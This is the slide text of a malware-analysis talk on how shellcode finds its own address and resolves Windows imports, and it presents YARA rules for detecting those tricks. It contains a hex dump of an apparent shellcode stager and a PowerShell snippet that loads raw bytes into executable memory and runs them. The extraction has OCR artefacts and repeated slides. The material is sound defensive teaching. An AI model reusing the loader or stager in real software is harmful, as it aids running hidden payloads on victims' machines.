

TRADE WAR

shellcode's wielding of imports and exports



trade war willi ballenthin



Shellcode refers to a payload of raw executable code. The name *shellcode* comes from the fact that attackers would usually use this code to obtain interactive shell access on the compromised system. However, over time, the term has become commonly used to describe any piece of self-contained executable code.

Shellcode is often used alongside an exploit to subvert a running program, or by malware performing process injection. Exploitation and process injection are similar in that the shellcode is added to a running program and executed after the process has started.

Shellcode requires its authors to manually perform several actions that software developers usually never worry about. For example, the shellcode package cannot rely on actions the Windows loader performs during normal program startup, including the following:

- Placing the program at its preferred memory location
- Applying address relocations if it cannot be loaded at its preferred memory location
- Loading required libraries and resolving external dependencies

as a malware analysts, we see thousands of samples per year

over time, we recognized common features

eventually, we encode generalized features to find more malware



#thoughtleadership

- shellcode typically not used by legitimate programs
- often used by exploits (not our focus) and stagers/backdoors
- as we'll see, commonly found in hybrid content
 - e.g. inside docx -> exploit
- worthwhile to hunt shellcode



RVA		Raw Dat		Value
00000000	4D 5A 90 00	03 00 00 00 04	00 00 FF FF 00 00	MZ
00000010	B8 00 00 00	00 00 00 00 40	00 00 00 00 00 00	<mark> @</mark>
00000020	00 00 00 00	00 00 00 00	00 00 00 00 00 00	
00000030	00 00 00 00	00 00 00 00	00 00 B8 00 00 00	
00000040	0E 1F BA 0E	00 B4 09 CD 21	01 4C CD 21 54 68	!L.!Th
00000050	69 73 20 70	72 6F 67 72 61	20 63 61 6E 6E 6F	is program canno
00000060	74 20 62 65	20 72 75 6E 20	6E 20 44 4F 53 20	t be run in DOS
00000070	6D 6F 64 65 2	2E 0D 0D 0A 24	00 00 00 00 00 00	mode\$
08000000	BD 31 6D FE I	F9 50 03 AD F9	03 AD F9 50 03 AD	. 1m P P P
00000090	7A 4C 0D AD I	F8 50 03 AD 90	0A AD F3 50 03 AD	zLPOP
0A000000	10 4F 0E AD I	F8 50 03 AD 52	63 68 F9 50 03 AC	.OPRich.P
000000B0	00 00 00 00	00 00 00 00 50	00 00 4C 01 03 00	PE L

RVA		Raw Data	Value
00000000	FC E8 82 00 00 00 60	89 E5 31 C0 64 8B 50 30 8B	`1.d.P0.
00000010	52 OC 8B 52 14 8B 72	28 OF B7 4A 26 31 FF AC 3C F	RR r (J&1 <
00000020	61 7C 02 2C 20 C1 CF	0D 01 C7 E2 F2 52 57 8B 52	a .,RW.R
00000030	10 8B 4A 3C 8B 4C 11	78 E3 48 01 D1 51 8B 59 20	J<.L.x.HQ.Y
00000040	01 D3 8B 49 18 E3 3A	49 8B 34 8B 01 D6 31 FF AC	<mark> </mark> : . 4 1
00000050	C1 CF 0D 01 C7 38 E0	75 F6 03 7D F8 3B 7D 24 75	8 . u } . ; }\$u
00000060	E4 58 8B 58 24 01 D3	66 8B 0C 4B 8B 58 1C 01 D3	. X . X\$ f K . X
00000070	8B 04 8B 01 D0 89 44	24 24 5B 5B 61 59 5A 51 FF	D\$\$[[aYZQ.
08000000	E0 5F 5F 5A 8B 12 EB	8D 5D 68 6E 65 74 00 68 77	Z] hnet . hw
00000090	69 6E 69 54 68 4C 77	26 07 FF D5 31 DB 53 53 53	iniThLw&1.SSS
000000A0	53 53 68 3A 56 79 A7	FF D5 53 53 6A 03 53 53 68 \$	SSh: VySSj.SSh
000000B0	FB 20 00 00 E8 B9 00	00 00 2F 67 71 49 39 76 43	/gql9vC



position (in)dependence

.EXE and .DLLs rely on the Windows loader to place them in memory

this includes:

- ensuring two modules are not loaded at the same address, and
- doing any necessary fixups if not at preferred memory address

result: code can directly reference global memory addresses



```
00405420
00405420
00405420
                                  ; Attributes: bp-based frame
00405420
00405420
                                  sub 405420 proc near
00405420
00405420
                                  var C= dword ptr -0Ch
00405420
                                  var 4= dword ptr -4
00405420
                                  arg 0= dword ptr 8
00405420
00405420 55
                                          ebp
                                  push
00405421 8B EC
                                  mov
                                          ebp, esp
00405423 6A FF
                                  push
                                          OFFFFFFF
00405425 68 C8 ED 51 00
                                          offset dword 51EDC8
                                  push
0040542A 64 A1 00 00 00 00
                                          eax, large fs:0
                                  mov
00405430 50
                                  push
                                          eax
00405431 56
                                  push
                                          esi
00405432 57
                                  push
                                          edi
00405433 A1 00 92 56 00
                                                  security cookie
                                  mov
00405438 33 C5
                                  xor
                                          eax, ebp
0040543A 50
                                  push
                                          eax
0040543B 8D 45 F4
                                  lea
                                          eax, [ebp+var C]
0040543E 64 A3 00 00 00 00
                                          large fs:0, eax
                                  mov
00405444 8B 75 08
                                          esi, [ebp+arg 0]
                                  mov
00405447 8B 06
                                          eax, [esi]
                                  mov
```

```
data:005691FC
                              db
data:005691FD
                              db
data:005691FE
                              db 32h; 2
data:005691FF
                                  40h; @
data:00569200 ___security_cookie dd 0BB40E64Eh
data:00569200
data:00569204 dword 569204
                              dd 44BF19B1h
data:00569204
data:00569208
                              align 10h
data:00569210 off_569210
                              dd offset unk_575FA0
data:00569210
                              align 8
data:00569214
data:00569218
                              dd offset unk_575FA0
data:0056921C
                              db
data:0056921D
                              db
data:0056921E
                              db
data:0056921F
                              db
data:00569220
                              db
data:00569221
                              db
data:00569222
                              db
data:00569223
                              db
```

```
00405420
00405420
00405420
                                  ; Attributes: bp-based frame
00405420
00405420
                                  sub 405420 proc near
00405420
00405420
                                  var C= dword ptr -0Ch
00405420
                                  var 4= dword ptr -4
00405420
                                  arg 0= dword ptr 8
00405420
00405420 55
                                          ebp
                                  push
00405421 8B EC
                                  mov
                                          ebp, esp
00405423 6A FF
                                  push
                                          OFFFFFFF
00405425 68 C8 ED 51 00
                                          offset dword 51EDC8
                                  push
0040542A 64 A1 00 00 00 00
                                          eax, large fs:0
                                  mov
00405430 50
                                  push
                                          eax
00405431 56
                                  push
                                          esi
00405432 57
                                  push
                                          edi
00405433 A1 00 92 56 00
                                                  security cookie
                                  mov
00405438 33 C5
                                  xor
                                          eax, ebp
0040543A 50
                                  push
                                          eax
0040543B 8D 45 F4
                                  lea
                                          eax, [ebp+var C]
0040543E 64 A3 00 00 00 00
                                          large fs:0, eax
                                  mov
00405444 8B 75 08
                                          esi, [ebp+arg 0]
                                  mov
00405447 8B 06
                                          eax, [esi]
                                  mov
```

```
U∢ìjÿhÈíQ.d¡....
00405420
          55 8B EC 6A FF 68 C8 ED
                                    51 00 64 A1 00 00 00 00
                                                               PVW;.'V.3ÅP.Eôd£
00405430
                                              8D
                                                               ....<u.<.<H..E..
00405440
                       88
                                                 8D
                                                               ÎPèi'..PÇEü....è
00405450
                F8
                   69
                      92
                                              00
                                                 00
                                                               Ì...∢M.ƒÄ.ÇEüÿÿÿ
00405460
                   00
                       8B
                                                               ÿ<ø…Ét.<.ÿP.…Àt.
00405470
                   85
                       C9
                                                               <.<\hat{E}j.\hat{y}.<.<\hat{I}j.\hat{y}R
00405480
                       6A
                                                              0. · ÈQ ⟨ Î è $ © . . ⟨ Î è -
00405490
                                                               Œ.. < Æ < Môd‰....Y
004054A0
                                              00
                                                              _^<å]ÃÌÌÌÌÌÌÌÌÌÌ
004054B0
                                    CC CC CC CC CC CC CC
                                                              U<i<E.]ÃÌÌÌÌÌÌÌ
004054C0
                                    CC CC CC CC CC CC CC
                                                              U<i<E. |ÃÌÌÌÌÌÌÌ
004054D0
                                    CC CC CC CC CC CC CC
                                                              U<ì<E.]ÃÌÌÌÌÌÌÌ
004054E0
                                    CC CC CC CC CC CC CC
                                                              U<1<E. JÄÌÌÌÌÌÌÌÌ
004054F0
                                    CC CC CC CC CC CC CC
                                                              U<i<E.]ÃÌÌÌÌÌÌÌ
00405500
                                    CC CC CC CC CC CC CC
                                                              U<ì<E.]ÃÌÌÌÌÌÌÌ
00405510
                                    CC CC CC CC CC CC CC
                                                              U<ì<E. JÃÌÌÌÌÌÌÌÌ
00405520
                                    CC CC CC CC CC CC CC
                                                              U<i<E.]ÃÌÌÌÌÌÌÌ
00405530
                                    CC CC CC CC CC CC CC
                                                              U<i<E.]ÃÌÌÌÌÌÌÌ
00405540
                                    CC CC CC CC CC CC
                                                              U<ì<E. JÃÌÌÌÌÌÌÌ
00405550
                                    CC CC CC CC CC CC CC
                                                              U<i<E. |ÃÌÌÌÌÌÌÌ
00405560
                                                              U<i<E. |ÃÌÌÌÌÌÌÌ
00405570
```

shellcode: position independent

that is, shellcode makes no assumptions about its load address

why?

- during exploitation, there may be limited control over memory allocation
- easier to package, distribute, and use across various stagers



```
[Byte[]]$payload = <raw bytes>;
     $alloc size = 0x1000;
 3
     if ($payload.Length -gt 0x1000){
         $alloc size = $payload.Length
 4
 5
     };
     $buffer = $imports::VirtualAlloc(0, 0x1000, $alloc_size, 0x40);
 6
     for ($i=0; $i -le ($payload.Length-1); $i++) {
         $imports::memset([IntPtr]($buffer.ToInt32() + $i), $payload[$i], 1)
 8
     };
     $imports::CreateThread(0,0,$buffer,0,0,0);
10
11
```


therefore, shellcode cannot use hardcoded global memory addresses


• shared data in shellcode: C2 addresses, targeted users or programs, etc.


instead, must find load address at runtime & use relative addressing

- where are we currently executing?
- compute delta between current and expected addresses
- shift references to global variables by this delta










oddly, in x86-32, there is no instruction mov eax, eip

instead, two common shellcode tricks:

```
l0000D310
l0000D310
l0000D310
l0000D310
                                     sub D310 proc near
0000D310
l0000D310
                                     var 8= dword ptr -8
l0000D310
0000D310 50
                                     push
                                              eax
0000D311 E8 00 00 00 00
                                     call
                                             $+5
0000D316 58
                                     pop
                                              eax
0000D317 51
                                     push
                                             ecx
                                             eax, 36h; '6'
0000D318 83 E8 36
                                     sub
0000D31B 8B C8
                                              ecx, eax
                                     mov
```


```
l0000D310
0000D310
l0000D310
l0000D310
                                     sub D310 proc near
l0000D310
l0000D310
                                     var 8= dword ptr -8
l0000D310
0000D310 50
                                     push
                                             eax
0000D311 E8 00 00 00 00
                                     call
                                             $+5
0000D316 58
                                             eax 🔷
                                     pop
0000D317 51
                                     push
                                             ecx
                                             eax, 36h; '6'
0000D318 83 E8 36
                                     sub
0000D31B 8B C8
                                             ecx, eax
                                     mov
```

```
0000D310
0000D310
l0000D310
l0000D310
                                    sub D310 proc near
l0000D310
                                    var_8= dword ptr -8
l0000D310
0000D310
0000D310 50
                                    push
                                            eax
0000D311 E8 00 00 00 00
                                    call
                                            $+5
0000D316 58
                                    pop
                                            eax
0000D317 51
                                    push
                                            ecx
                                            eax, 36h; '6'
0000D318 83 E8 36
                                    sub
0000D31B 8B C8
                                             ecx, eax
                                    mov
```



0xD316 - 0x36 = 0xD2E0\$PC delta load address

```
+ 0x190 = 0xD470
                                   0xD2E0
                                   load address
                                                delta
                                                         config address
0000D31E
                               loc_D31E:
0000D31E
                                       dword ptr [ecx+190h]
0000D31E FF B1 90 01 00 00
                               push
0000D324 FF D2
                               call
                                       edx
0000D326 CF
                               iret
```



```
0000D310
0000D310
0000D310
                                    sub_D310 proc near
0000D310
0000D310
                                    var_8= dword ptr -8
0000D310
0000D310
0000D310 50
                                    push
                                            eax
0000D311 E8 00 00 00 00
                                    call
                                            $+5
0000D316 58
                                    pop
                                            eax
0000D317 51
                                    push
                                            ecx
0000D318 83 E8 36
                                    sub
                                            eax, 36h; '6'
0000D31B 8B C8
                                            ecx, eax
                                    mov
```

☑ get_eip.yara

```
1
     rule get_eip
 3
         meta:
             author = "William Ballenthin"
 4
 5
             email = "william.ballenthin@fireeye.com"
             license = "Apache 2.0"
 6
             copyright = "FireEye, Inc"
             description = "Match x86 that appears to fetch $PC."
 8
 9
10
         strings:
11
           // 0: e8 00 00 00 00
                                          call 5 < main+0x5>
            // 5: 58
12
                                          pop
                                                 eax
            // 6: 5b
13
                                                 ebx
                                          pop
14
            // 7: 59
                                          pop
                                                 ecx
           // 8: 5a
15
                                                 edx
                                          pop
16
           // 9: 5e
                                                 esi
                                          pop
17
            // a: 5f
                                                 edi
                                          pop
            $x86 = { e8 00 00 00 00 (58 | 5b | 59 | 5a | 5e | 5f) }
18
19
         condition:
20
            $x86
21
22
```

```
get_eip ../.cargo/bin/rls.exe
get_eip ../.cargo/bin/cargo-fmt.exe
get_eip ../.cargo/bin/rustdoc.exe
get_eip ../.cargo/bin/rust-gdb.exe
get_eip ../.cargo/bin/rustfmt.exe
get_eip ../.cargo/bin/rustup.exe
get_eip ../.cargo/bin/rust-lldb.exe
get_eip ../.cargo/bin/rustc.exe
get eip ../.cargo/bin/cargo.exe
get_eip ../.rustup/toolchains/beta-x86_64-pc-windows-msvc/lib/rustlib/x86_64-pc-windows-msvc/bin/rust-lld.exe
get_eip ../.rustup/toolchains/beta-x86_64-pc-windows-msvc/lib/rustlib/x86_64-pc-windows-msvc/codegen-backends/rustc_codegen_llvm-llvm.dll
get_eip ../.rustup/tmp/yhu5r5cpfjnmi6rv_file
get eip ../.rustup/toolchains/nightly-x86 64-pc-windows-msvc/lib/rustlib/x86 64-pc-windows-msvc/codegen-backends/rustc codegen llvm-llvm.dll
get_eip ../.rustup/toolchains/nightly-x86_64-pc-windows-msvc/lib/rustlib/x86_64-pc-windows-msvc/bin/rust-lld.exe
get eip ../.rustup/toolchains/stable-x86 64-pc-windows-msvc/lib/rustlib/x86 64-pc-windows-msvc/bin/rust-lld.exe
get eip ../.rustup/toolchains/stable-x86 64-pc-windows-msvc/lib/rustlib/x86 64-pc-windows-msvc/codegen-backends/rustc codegen llvm-llvm.dll
get eip ../.vscode/extensions/ms-python.python-2018.9.2/pythonFiles/experimental/ptvsd/ptvsd/ vendored/pydevd/pydevd attach to process/attach x86.dylib
get eip ../.vscode/extensions/vscodevim.vim-0.16.12/node modules/clipboardy/fallbacks/windows/clipboard i686.exe
get eip ../.vscode-insiders/extensions/vscodevim.vim-0.16.4/node modules/clipboardy/fallbacks/windows/clipboard i686.exe
get eip ../AppData/Local/Microsoft/OneDrive/18.172.0826.0010/libeay32.dll
get eip ../AppData/Local/Microsoft/Teams/current/snapshot blob.bin
get_eip ../AppData/Local/Microsoft/Teams/previous/snapshot blob.bin
get eip ../AppData/Local/Microsoft/Teams/current/Teams.exe
get_eip ../AppData/Local/Microsoft/Teams/previous/Teams.exe
get_eip .../AppData/Local/Packages/Microsoft.Office.OneNote_8wekyb3d8bbwe/LocalState/AppData/Local/OneNote/16.0/cache/0000009K.bin
get_eip ../AppData/Local/Programs/Microsoft VS Code/Code.exe
get eip ../AppData/Local/Programs/Microsoft VS Code/tools/inno updater.exe
get_eip ../AppData/Local/Programs/Microsoft VS Code/snapshot_blob.bin
get_eip ../AppData/Local/Python-Eggs/Python-Eggs/Cache/pycrypto-2.6-py2.7-win-amd64.egg-tmp/Crypto/Cipher/_DES3.pyd
get_eip ../AppData/Local/Python-Eggs/Python-Eggs/Cache/pycrypto-2.6-py2.7-win-amd64.egg-tmp/Crypto/Cipher/_DES.pyd
get_eip ../AppData/Local/WebEx/ieatgpc.dll
get_eip ../AppData/Local/WebEx/npatgpc.dll
get_eip ../AppData/Local/WebEx/CiscoWebexStart.exe
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/AppSharingUI.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atdocvu.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atlchat.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atnote.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/hybridaudio.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/Indicator.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atinst.exe
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atpollk2.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atucfobj.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/confmgr.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/AppSharing.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atpng12.dll
get_eip ../AppData/Local/WebEx/WebEx/T33 UMC/atarm.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atmgr.exe
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/wbxtrace.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/attp.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/pdcomui.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/mcsnew.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/webexrcd/atplayim.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/wbxreport.exe
get eip ../AppData/Local/WebEx/webexAppLauncher.exe
get eip ../AppData/Local/WebEx/webexAppLauncherLatest.exe
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/libeay32.dll
get eip ../AppData/Local/WebEx/webex.exe
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atgpcext.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/webexmta.exe
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atpdmod.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/comUI.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/webexmgr.dll
get_eip ../AppData/Roaming/Code - Insiders/CachedData/45986ca7abf63460dc96409a61fb2f0c98ba0b70/BaseCharAtlas-5a9d2a3b37f9d47bfa4ab855bdb94015.code
get_eip ../AppData/Roaming/Mozilla/Firefox/Profiles/0foyc4bh.dev-edition-default/gmp-widevinecdm/4.10.1146.0/widevinecdm.dll
get eip ../AppData/Local/Temp/Outlook Logging/Outlook-20181029T1235330542.etl
get_eip ../Documents/code/flaremingo/pipelines/exe/flirt/sigs/a_misc_compression_super.sig
get_eip ../Documents/code/flaremingo/pipelines/exe/flirt/sigs/a mbed super.sig
get_eip ../Documents/code/flaremingo/pipelines/exe/flirt/sigs/a_sqlite_super.sig
get eip ../Documents/code/flaremingo/pipelines/exe/flirt/sigs/a delphi super.sig
get_eip ../Documents/code/flaremingo/pipelines/exe/flirt/sigs/a_mysql_super.sig
get_eip ../Documents/code/flaremingo/pipelines/exe/flirt/sigs/a_boost_super.sig
get eip ../Documents/code/flaremingo/pipelines/exe/flirt/sigs/a poco super.sig
get_eip ../Documents/code/guessing-game/guessing_game/target/debug/build/winapi-6bdd6465fd021dba/build script build-6bdd6465fd021dba.pdb
```

```
get eip ../AppData/Local/Microsoft/Teams/current/snapshot blob.bin
get_eip ../AppData/Local/Microsoft/Teams/previous/snapshot blob.bin
get eip ../AppData/Local/Microsoft/Teams/current/Teams.exe
get eip ../AppData/Local/Microsoft/Teams/previous/Teams.exe
get_eip ../AppData/Local/Packages/Microsoft.Office.OneNote_8wekyb3d8bbwe/LocalState/AppData/Local/OneNote/16.0/cache/0000009K.bin
get eip ../AppData/Local/Programs/Microsoft VS Code/Code.exe
get_eip ../AppData/Local/Programs/Microsoft VS Code/tools/inno_updater.exe
get_eip ../AppData/Local/Programs/Microsoft VS Code/snapshot_blob.bin
get_eip ../AppData/Local/Python-Eggs/Python-Eggs/Cache/pycrypto-2.6-py2.7-win-amd64.egg-tmp/Crypto/Cipher/ DES3.pyd
get_eip ../AppData/Local/Python-Eggs/Python-Eggs/Cache/pycrypto-2.6-py2.7-win-amd64.egg-tmp/Crypto/Cipher/_DES.pyd
get eip ../AppData/Local/WebEx/ieatgpc.dll
get_eip ../AppData/Local/WebEx/npatgpc.dll
get eip ../AppData/Local/WebEx/CiscoWebexStart.exe
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/AppSharingUI.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atdocvu.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atlchat.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atnote.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/hybridaudio.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/Indicator.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atinst.exe
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atpollk2.dll
get_eip ../AppData/Local/WebEx/WebEx/T33_UMC/atucfobj.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/confmgr.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/AppSharing.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atpng12.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atarm.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/atmgr.exe
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/wbxtrace.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/attp.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/pdcomui.dll
get_eip ../AppData/Local/WebEx/WebEx/T33 UMC/mcsnew.dll
get eip ../AppData/Local/WebEx/WebEx/T33 UMC/webexrcd/atplayim.dll
get_eip ../AppData/Local/WebEx/WebEx/T33 UMC/wbxreport.exe
get eip ../AppData/Local/WebEx/webexAppLauncher.exe
```

get eip ../AppData/Local/Microsoft/OneDrive/18.172.0826.0010/libeay32.dll



runtime linking

.EXE and .DLLs rely on the Windows loader to resolve imports

this includes:

- loading other DLLs that provide dependencies and finding function addresses
- updating the in-memory import table

result: code can interact with the system



⊡- c24918d9305eb05465745e7b1e954aba	pFile	Data	Description	Value
IMAGE_DOS_HEADER	00006000	00008096	Hint/Name RVA	01CB RegCloseKey
MS-DOS Stub Program	00006004	000080C6	Hint/Name RVA	01EC RegOpenKeyExA
	00006008	000080B6	Hint/Name RVA	01D4 RegDeleteKeyA
IMAGE_SECTION_HEADER .text	0000600C	000080A4	Hint/Name RVA	01D8 RegDeleteValueA
──IMAGE_SECTION_HEADER .rdata	00006010	00008040	Hint/Name RVA	01E1 RegEnumValueA
···IMAGE_SECTION_HEADER .data	00006014	00008084	Hint/Name RVA	01D1 RegCreateKeyExA
──IMAGE_SECTION_HEADER .ndata	00006018	00008072	Hint/Name RVA	0204 RegSetValueExA
IMAGE_SECTION_HEADER .rsrc	0000601C	0000805E	Hint/Name RVA	01F7 RegQueryValueExA
SECTION .text	00006020	00008050	Hint/Name RVA	01DD RegEnumKeyA
SECTION .rdata	00006024	00000000	End of Imports	ADVAPI32.dll
IMPORT Address Table	00006028	0000810E	Hint/Name RVA	0037 ImageList_Create
··· IMPORT Directory Table	0000602C	000080F8	Hint/Name RVA	0034 ImageList_AddMasked
··· IMPORT Name Table	00006030	000080E4	Hint/Name RVA	0038 ImageList_Destroy
IMPORT Hints/Names & DLL Names	00006034	80000011	Ordinal	0011
SECTION .data	00006038	00000000	End of Imports	COMCTL32.dll
⊕ SECTION .rsrc	0000603C	00007F22	Hint/Name RVA	020E SelectObject
	00006040	00007F42	Hint/Name RVA	0216 SetBkMode

00006044

00007F4E Hint/Name RVA

003A CreateFontIndirectA

```
<u>...</u> 🗹 🚾
loc_6B841F77:
                        ; lpNumberOfBytesRead
push
                        ; nSize
push
      11C0h
push
      edi
                        ; lpBuffer
      ebx
                        ; lpBaseAddress
push
      [esp+1108h+var_10DC] ; hProcess
push
call
        ds:ReadProcessMemory_0
test
        eax, eax
jnz
        loc_6B841E5B
```

shellcode doesn't know where its loaded, let alone have imports


therefore, shellcode must manually resolve imports


due to ASLR, cannot just assume address of CreateFileA

typically: manually parse runtime structures to find function pointers


this is basically doing live memory forensics on itself








Lists of loaded modules (DLLs)



Lists of loaded modules (DLLs)



Lists of loaded modules (DLLs)

$$*(*(fs + 30) + 0xC) + 0xC)$$

```
mov edx, large fs:30h
mov edx, [edx+0Ch]
mov edx, [edx+0Ch]
```

$$*(*(fs + 30) + 0xC) + 0xC)$$

mov eax, fs:0x30

0: 64 a1 30 00 00 00 mov eax,fs:0x30

turns out that mov ebx, fs:0x30 is encoded as mov ebx, DWORD PTR fs:0x30, so see below. rule fragment: 64 a1 30 00 00 00.

((fs + 30) + 0xC) + 0xC)

LDR_DATA dereference

```
0: 8b 40 0c
                                    eax, DWORD PTR [eax+0xc]
                             mov
3: 8b 5b 0c
                                    ebx, DWORD PTR [ebx+0xc]
                             mov
6: 8b 49 0c
                                    ecx, DWORD PTR [ecx+0xc]
                             mov
9: 8b 52 0c
                                    edx, DWORD PTR [edx+0xc]
                             mov
                                    esi, DWORD PTR [esi+0xc]
c: 8b 76 0c
                             mov
f: 8b 7f 0c
                                    edi, DWORD PTR [edi+0xc]
                             mov
                                    eax,DWORD PTR [eax+0xc]
12: 8b 40 0c
                             mov
21: 8b 47 0c
                                    eax, DWORD PTR [edi+0xc]
                             mov
24: 8b 40 0c
                                    eax, DWORD PTR [eax+0xc]
                             mov
27: 8b 58 0c
                                    ebx,DWORD PTR [eax+0xc]
                             mov
2a: 8b 48 0c
                                    ecx, DWORD PTR [eax+0xc]
                             mov
2d: 8b 50 0c
                                    edx, DWORD PTR [eax+0xc]
                             mov
30: 8b 70 0c
                                    esi,DWORD PTR [eax+0xc]
                             mov
33: 8b 78 0c
                                    edi, DWORD PTR [eax+0xc]
                             mov
```

rule fragment: 8b ?? 0c

$$*(*(fs + 30) + 0xC) + 0xC)$$

list dereference

```
_0:00F2001B 8B 52 0C mov edx, [edx+0Ch] ; load order
_0:00F2001B 8B 52 14 mov edx, [edx+14h] ; memory order
_0:00F2001B 8B 52 1C mov edx, [edx+1Ch] ; init order
```

rule fragment: 8b ?? (0c | 14 | 1C)

$$*(*(fs + 30) + 0xC) + 0xC)$$

final rule

```
(64 a1 30 00 00 00 |
64 8b (1d | 0d | 15 | 35 | 3d) 30 00 00 00 |
31 (c0 | db | c9 | d2 | f6 | ff) [0-8] 64 8b ?? 30 )
[0-8]
8b ?? 0c
[0-8]
8b ?? (0c | 14 | 1C)
[0-8]
8b ?? (28 | 30)
```

```
peb_parsing.yara
```


```
Raw
```

```
rule peb parsing
          meta:
              author = "William Ballenthin"
 4
              email = "william.ballenthin@fireeye.com"
              license = "Apache 2.0"
 6
              copyright = "FireEye, Inc"
 8
              description = "Match x86 that appears to manually traverse the TEB/PEB/LDR data."
 9
          strings:
10
            //
                                                                       ;; TEB->PEB
11
12
            // (64 a1 30 00 00 00 |
                                                                       ; mov eax, fs:30
            // 64 8b (1d | 0d | 15 | 35 | 3d) 30 00 00 00 |
                                                                       ; mov $reg, DWORD PTR fs:0x30
13
            // 31 (c0 | db | c9 | d2 | f6 | ff) [0-8] 64 8b ?? 30 )
                                                                      ; xor $reg; mov $reg, DWORD PTR fs:[$reg+0x30]
14
            // [0-8]
                                                                       ; up to 8 bytes of interspersed instructions
15
            //
                                                                       ;; PEB->LDR DATA
16
            // 8b ?? 0c
                                                                       ; mov eax, DWORD PTR [eax+0xc]
17
            // [0-8]
                                                                       ; up to 8 bytes of interspersed instructions
18
            //
                                                                       ;; LDR DATA->OrderLinks
19
20
            // 8b ?? (0c | 14 | 1C)
                                                                       ; mov edx, [edx+0Ch]
21
            // [0-8]
                                                                       ; up to 8 bytes of interspersed instructions
            //
                                                                       ;; LDR DATA TABLE ENTRY.DllName.Buffer
22
            // 8b ?? (28 | 30)
                                                                       ; mov esi, [edx+28h]
23
            $peb parsing = { (64 a1 30 00 00 00 | 64 8b (1d | 0d | 15 | 35 | 3d) 30 00 00 00 | 31 (c0 | db | c9 | d2 | f6 | ff) [0-8] 64 8b ??
24
25
          condition:
26
            $peb parsing
27
28
```

```
user@hostname:/mnt/c/Users/user/Documents$ yara -r peb parsing.yara .. 2>/dev/null
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000005-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000010-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000016-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000025-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000027-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000004-s005.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000034-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000002-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000004-s003.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000003-s005.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000003-s003.vmdk
peb_parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000003-s004.vmdk
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Virtual Disk-000035-s005.vmdk
peb_parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE_2a6e3c1a.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot10.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot11.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot12.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot13.vmem
peb parsing ../Documents/Virtual Machines/flarevm/Windows 7 x64 FLARE.vmwarevm/Windows 7 x64 FLARE-Snapshot14.vmem
